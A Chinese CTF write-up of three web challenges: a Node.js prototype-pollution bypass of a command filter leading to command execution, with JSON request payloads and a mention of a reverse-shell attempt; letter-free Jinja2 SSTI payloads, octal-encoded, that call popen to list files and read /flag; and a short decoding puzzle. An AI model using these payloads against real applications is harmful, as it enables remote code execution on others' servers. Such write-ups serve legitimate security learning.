WHOYOUARE 主要看了这个题目,popsql和ezus学弟直接K了
题目给了附件,看关键代码,对传入的user.command
进行检查,然后通过merge将user复制给request.user,然后通过ChildProcess.execFile
执行request.user.command
所以我们需要赋值command为恶意命令,主要看两个函数,checkuser和merge
checkUser checkUser函数如下,首先是command需要时一个数组,长度小于等于2,并且字符串长度不能超过4,只能含有a-zA-Z0-9-
以内的字符串(包括-i -c
这样的字符串)
1 2 3 4 5 6 7 8 9 10 11 12 13 function checkUser (command ){ if (Array .isArray (command) === false || command.length > 2 ) { console .log ("不是数组" ); return false ; } for (let i = 0 ; i < command.length ; i++) { let cmd = command[i]; if (typeof cmd !== 'string' || cmd.length > 4 || RegExp (/^[^a-zA-Z0-9-]+$/ ).test (command[i])) { return false ; } } return true ; }
merge 其实看merge这个函数名,八九不离十就有原型链污染
这里对键名添加了白名单限制,并且还过滤了__proto__
,但是可以通过constructor.prototype
绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const whileTypes = ['boolean' , 'string' , 'number' , 'bigint' , 'symbol' , 'undefined' ];const merge = (target, source ) => { for (const key in source) { console .log (key+"类型是" ); if (!whileTypes.includes (typeof source[key]) && !whileTypes.includes (typeof target[key])){ if (key !== '__proto__' ){ merge (target[key], source[key]); } }else { target[key] = source[key]; } } } module .exports = merge
本地实践,可以污染任意一个属性,比如b=2,测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 let source = JSON.parse('{"a": 1, "constructor": {"prototype": {"b": 2}}}' );const whileTypes = ['boolean' , 'string' , 'number' , 'bigint' , 'symbol' , 'undefined' ];const merge = (target, source) => { for (const key in source) { if (!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ if (key !== '__proto__' ){ merge(target[key], source[key]); } }else { target[key] = source[key]; } } }
发现可以执行在不违背waf的情况下,可以执行一些简短的命令
1 2 3 4 Content-Type: application/json Content-Length: 68 { "user" : "{\"username\" : \"111\", \"command\": [\"-c\", \"ls /\"]}" }
这时候发现代码实际执行的时候,其实就是/bin/bash -c ls /
,bin
在前面被定义为/bin/bash
,本地环境测试的时候,改为cmd.exe
在本地测试的时候,发现原型链污染的数据会添加在command数组后,是因为merge合并的
1 2 3 4 5 Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 123 { "user" : "{\"username\" : \"111\",\"constructor\":{\"prototype\": {\"command\": \"whoami\"}},\"command\":[\"/c\",\"dir\"]}" }
只要将对应的值改为2,那么就会在command数组行添加2->C:
本地可以成功,如下
1 2 3 4 Content-Type: application/json Content-Length: 112 { "user" : "{\"username\" : \"111\",\"constructor\":{\"prototype\": {\"2\":\"D:\"}},\"command\":[\"/c\",\"dir\"]}" }
但是因为linux和windows执行命令上的区别,,长度不能超过4,而bin/bash -c "cmd"需要引号
,但特殊符号只有-
可以用
本来想bin/bash -c bash -i
反弹shell的,靶机为内网环境没成功
后来发现,把bash去掉,直接拼接 -c -i
就可以了
没有人比我更懂py 记录一下无字母SSTI
Flask ssti - Diego | BY Blog
zxhyo.github.io/index.html at 22c16067a9f293fc8bf35c3502f8ec39d2da3bcf · zxhyo/zxhyo.github.io
8进制绕过
1 2 3 4 5 6 7 8 9 exp = "__class__" dicc = [] exploit = "" for i in range (256 ): eval ("dicc.append('{}')" .format ("\\" +str (i))) for i in exp: exploit += "\\" + str (dicc.index(i)) print (exploit)
1 2 3 4 5 6 7 8 {{[]["\137\137\143\154\141\163\163\137\137" ]}} 回显: <class & {{[]["\137\137\143\154\141\163\163\137\137" ]['\137\137\142\141\163\145\137\137' ]}} 回显:&lt;class & {{[]["\137\137\143\154\141\163\163\137\137" ]['\137\137\142\141\163\145\137\137' ]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137' ]()}}
1 2 3 4 5 os._wrap_close {{"" .__class__.__bases__[0 ].__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /flag' ).read()}} ls {{[]["\137\137\143\154\141\163\163\137\137" ]['\137\137\142\141\163\145\137\137' ]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137' ]()[132 ]['\137\137\151\156\151\164\137\137' ]['\137\137\147\154\157\142\141\154\163\137\137' ]['\160\157\160\145\156' ]('\154\163' )['\162\145\141\144' ]()}}
cat /flag
1 {{[]["\137\137\143\154\141\163\163\137\137" ]['\137\137\142\141\163\145\137\137' ]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137' ]()[132 ]['\137\137\151\156\151\164\137\137' ]['\137\137\147\154\157\142\141\154\163\137\137' ]['\160\157\160\145\156' ]('\143\141\164\40\57\146\154\141\147' )['\162\145\141\144' ]()}}
web_mimic 记录下这个题目
md5解密,得到123
进行DES解密
得到
1.maybe used first url get random:
/mimic_storage
2.maybe used second url get flag:
/getflag?sec=random&path=xxxx
xxx is:
bAzlsD1ChiFW5eMC5tUokHErPkdjqARE
第一步访问/mimic_storage获得随机数1275589079
第二步,填上对应的sec和path,获得flag
有进步,继续加油学(ง •_•)ง